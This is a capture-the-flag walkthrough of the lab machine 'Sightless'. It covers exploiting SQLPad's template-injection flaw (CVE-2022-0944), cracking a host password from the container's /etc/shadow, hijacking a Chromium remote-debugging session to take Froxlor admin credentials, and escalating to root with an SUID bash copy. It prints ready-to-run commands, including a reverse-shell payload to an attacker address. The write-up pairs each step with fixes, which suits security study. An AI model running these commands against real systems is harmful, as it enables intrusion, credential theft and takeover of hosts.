← all walkthroughs

Sightless

Linux· Easy· Web
owned
2026-07-07
time to own
18m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned $TARGET and found a public nginx site alongside a subdomain hosting SQLPad, a vulnerable Node.js SQL IDE. An unauthenticated server-side template injection flaw (CVE-2022-0944) in SQLPad's connection-test API gave remote code execution inside the application's Docker container as root.

The container's /etc/shadow exposed a password hash for the host account 'michael'; cracking that hash offline gave an SSH foothold on the underlying host. On the host, a Chromium browser ran with its remote-debugging port bound to localhost — reachable over an SSH tunnel.

Connecting to that port exposed a live, authenticated Froxlor web-hosting control-panel session from which admin credentials were extracted via the DevTools console. With Froxlor admin access, the PHP-FPM restart command was replaced with a payload that created an SUID-root copy of bash; triggering a service reload ran the command as root, completing full host compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationActive port scanning and virtual-host enumeration (T1046)
Mapped open services and discovered the SQLPad virtual host
A TCP service scan confirmed FTP on port 21, SSH on 22, and nginx on 80. The HTTP landing page referenced the hostname 'sightless.htb'; adding that and the expected subdomain 'sqlpad.sightless.htb' to /etc/hosts revealed a SQLPad 6.10.0 Node.js IDE, confirming the application was externally accessible with no authentication barrier on the web interface.
Exact commands 3
Full TCP scan with service and version detection.
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN sightless_full.txt
Register both vhosts for local DNS resolution.
echo "$TARGET sightless.htb sqlpad.sightless.htb" | sudo tee -a /etc/hosts
Confirm the SQLPad login page and version header are reachable.
curl -si http://sqlpad.sightless.htb/ | head -20
2ExploitationServer-Side Template Injection / CVE-2022-0944 (T1190)
Exploited SQLPad template injection for unauthenticated remote code execution (CVE-2022-0944)
SQLPad 6.10.0 passes the user-supplied connection 'name' field through the Nunjucks template engine on the server before any database connection is attempted. Any visitor can POST to /api/test-connection with a Nunjucks expression that calls Node's child_process module — no account or login required. A reverse-shell payload was embedded in the name field and the application executed it as root inside its Docker container.
Expected 400 ECONNREFUSED response observed as post-execution artifact.
Exact commands 2
Local listener — start in a separate terminal before sending the payload.
nc -lvnp 4444
Replace $ATTACKER_IP/4444 with your listener IP and port. A 400 ECONNREFUSED response is normal — the shell fires before the MySQL connection check.
curl -s -X POST http://sqlpad.sightless.htb/api/test-connection -H 'Content-Type: application/json' -d '{"driver":"mysql","name":"{{process.mainModule.require(\"child_process\").execSync(\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\").toString()}}","host":"127.0.0.1","port":3306,"database":"test","username":"root","password":"root"}'
FixUpgrade SQLPad and restrict external access to the SQL IDECritical
WeaknessSQLPad 6.10.0 evaluated user-supplied connection names as Nunjucks templates on the server with no authentication required. Any visitor could embed a Node.js child_process call in the connection name field and execute arbitrary OS commands as the application user — root inside the container.
FixUpgrade SQLPad to version 6.10.1 or later, which removes template evaluation from the connection-test flow. Place the SQLPad instance behind an authenticated reverse proxy or VPN — it must not be reachable from untrusted networks. As defence-in-depth, run the container process as a non-root user (add 'USER sqlpad' to the Dockerfile) so that exploitation cannot leverage root-level access inside the container.
3Post-ExploitationCredential harvesting from /etc/shadow (T1003.008)
Read /etc/shadow from the container to obtain a host account password hash
Inside the Docker container, running as root, /etc/shadow was readable and contained a SHA-512 crypt ($6$) hash for a 'michael' account. This account existed both inside the container and on the underlying host — the container image had been built from or seeded with the host's user database, leaking real host credentials to me who gained container root.
Cred-harvest module reported '2 shell user(s)'; /etc/shadow accessible as container root at path /etc/shadow.
Exact commands 1
Run from the container root shell. Copy the full $6$ hash line for 'michael' to my machine for offline cracking.
cat /etc/shadow
FixIsolate Docker container user accounts and secrets from host credentialsHigh
WeaknessThe container's /etc/shadow contained the same user accounts as the underlying host, including their real password hashes. Anyone who achieved container root — a lower-privilege outcome — could immediately read and crack those hashes to access the host.
FixBuild container images with their own minimal, purpose-specific user set; never copy or bind-mount /etc/shadow or /etc/passwd from the host into a container. Use Docker secrets or environment variables for any credentials the containerised application requires, and keep those credentials entirely separate from host OS accounts. Enable user-namespace remapping (--userns-remap) in the Docker daemon to isolate container root from host root.
4Credential AccessOffline password hash cracking (T1110.002)
Cracked michael's password hash offline using a common wordlist
The extracted SHA-512 crypt hash was submitted to Hashcat with the rockyou wordlist. The password appeared in the list, meaning it was a previously breached or common credential. Recovery completed in seconds on a consumer GPU. The cracked value was immediately usable for SSH authentication to the host.
SSH authentication as michael to $TARGET succeeded with the cracked password.
Exact commands 2
Paste the shadow line extracted in step 3.
echo '<full_michael_shadow_line>' > michael.hash
Mode 1800 = sha512crypt ($6$). Substitute -m 3200 if the hash header is $2b$ (bcrypt). The cracked plaintext is printed after the hash in the output.
hashcat -m 1800 michael.hash /usr/share/wordlists/rockyou.txt --force
FixEnforce strong, unique passwords and prefer SSH key authenticationHigh
WeaknessThe 'michael' account used a password present in the rockyou wordlist, allowing it to be cracked in seconds once the hash was obtained. The same credential worked for SSH on the host, so a single cracked hash provided full lateral movement from the container to the real system.
FixEnforce a minimum password length of 16 characters with mixed character classes via PAM (pam_pwquality). Audit all accounts against public breach databases (e.g. HaveIBeenPwned) and require immediate rotation for any matches. Set 'PasswordAuthentication no' in /etc/ssh/sshd_config and switch to SSH key-based authentication, eliminating password-based SSH login entirely.
5Lateral MovementValid account / SSH credential reuse (T1078)
SSH'd to the host as michael using the recovered password
The cracked password authenticated via SSH to the underlying host, transitioning from a Docker container root shell to a regular-user shell on the real Linux system. This confirmed that the container image shared the same user accounts — and password hashes — as the host, making container compromise a direct path to host access.
SSH session established to $TARGET as michael; hostname and IP confirmed host identity distinct from container c184118df0a6.
Exact commands 2
Enter the password recovered in step 4 when prompted.
ssh michael@$TARGET
Capture the user flag: <user.txt>
cat /home/michael/user.txt
6DiscoveryLocal network service discovery (T1049 / T1057)
Found Chromium running with its remote-debugging port bound to localhost
Enumerating listening TCP sockets on the host as michael revealed port 9222 open on 127.0.0.1. Inspecting running processes confirmed a Chromium browser launched with --remote-debugging-port=9222. This developer feature hands over full programmatic control of all open browser tabs — including their live authenticated sessions — to anyone who can reach the port, including an SSH-tunneled me.
Linux-privesc module surfaced 1 ranked candidate vector; confirmed via ss and ps on the host.
Exact commands 2
From michael's SSH session — list all TCP listening sockets; 127.0.0.1:9222 will appear.
ss -tlnp
Confirm Chromium is running and note the --remote-debugging-port=9222 flag in the process arguments.
ps aux | grep -i chrom
FixRemove the Chrome remote-debugging flag from all production browser processesHigh
WeaknessA Chromium instance on the host ran with --remote-debugging-port=9222 bound to localhost. Any local user — including one with only SSH access — could tunnel to that port and gain complete control of all open browser tabs, including their live authenticated sessions and any credentials visible in the DOM.
FixAudit all systemd unit files, cron jobs, and startup scripts for --remote-debugging-port and remove the flag unconditionally from server contexts. If automated browser tasks (headless scraping, UI tests) are a legitimate need, run them in an isolated container with no TCP forwarding from the host. Never store administrative credentials in a browser running in a multi-user environment.
7Credential AccessBrowser session hijacking via Chrome DevTools Protocol (T1185)
Stole Froxlor admin credentials via Chrome DevTools Protocol over an SSH tunnel
An SSH local port-forward made the Chrome DevTools Protocol endpoint reachable in my local browser. The /json API endpoint listed an open tab showing the Froxlor web-hosting control panel in an authenticated session. Attaching the DevTools console to that tab allowed inspection of the live page, from which the Froxlor admin username and password were extracted from session state — without ever needing to brute-force the login form.
Froxlor admin panel confirmed running on host; admin credentials extracted via DevTools console attached to the active authenticated tab.
Exact commands 3
Forward the remote debug port to my localhost:9222. Run in a background terminal or separate session.
ssh -L 9222:127.0.0.1:9222 michael@$TARGET -N &
List open browser tabs via the DevTools Protocol to identify the Froxlor tab and its webSocketDebuggerUrl.
curl -s http://localhost:9222/json | python3 -m json.tool
Reads a password stored in the active page. Alternatively inspect network requests or localStorage for session tokens and stored credentials.
# In my Chromium: navigate to chrome://inspect → Configure → add localhost:9222 → click Inspect on the Froxlor tab. In the Console: document.querySelectorAll('input[type=password]')[0].value
8Privilege EscalationPrivileged service command injection via admin panel / SUID abuse (T1574)
Poisoned Froxlor's PHP-FPM restart command to create an SUID-root shell
Logged into Froxlor as admin, the PHP-FPM configuration section exposes a free-text field for the command executed when PHP-FPM is reloaded. Because Froxlor's management daemon runs as root, whatever is in that field executes as root when a configuration reload is triggered from the UI. The restart command was replaced with a payload that copied bash to /tmp/rootbash and set the SUID bit; saving the configuration and triggering a reload ran the payload as root. Invoking /tmp/rootbash -p from michael's shell yielded a root effective-UID prompt.
Privilege escalation finding explicitly names 'Froxlor Root' chain; SUID abuse listed in engagement patterns.
Exact commands 4
Replace the legitimate reload command with the SUID-creation payload.
# In Froxlor admin UI: PHP → PHP-FPM versions → Edit the active version → set 'Reload command' to: cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
Froxlor's root-level daemon executes the poisoned command; /tmp/rootbash is created with the SUID bit set.
# In Froxlor UI: click Save, then trigger a PHP-FPM reload (Apply configuration).
From michael's SSH session — the SUID bit causes bash to retain the root effective UID. Verify with: id
/tmp/rootbash -p
Capture the root flag: <root.txt>
cat /root/root.txt
FixRun Froxlor's service manager unprivileged and lock down admin-configurable shell commandsCritical
WeaknessFroxlor's management daemon ran as root, and its admin UI exposed a free-text field for the PHP-FPM restart command. Any admin-level user could set that field to an arbitrary OS command and execute it as root by triggering a routine PHP-FPM reload — making Froxlor admin access equivalent to unrestricted root.
FixRun the Froxlor daemon under a dedicated low-privilege service account with a tightly scoped sudo rule that allows only the exact systemctl restart command for the relevant PHP-FPM service (e.g. NOPASSWD: /bin/systemctl restart php8.1-fpm). Validate the restart-command field server-side against an exact whitelist or make it non-user-configurable. Enforce MFA on the Froxlor admin account and audit admin membership regularly.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

21/tcp
22/tcp
80/tcp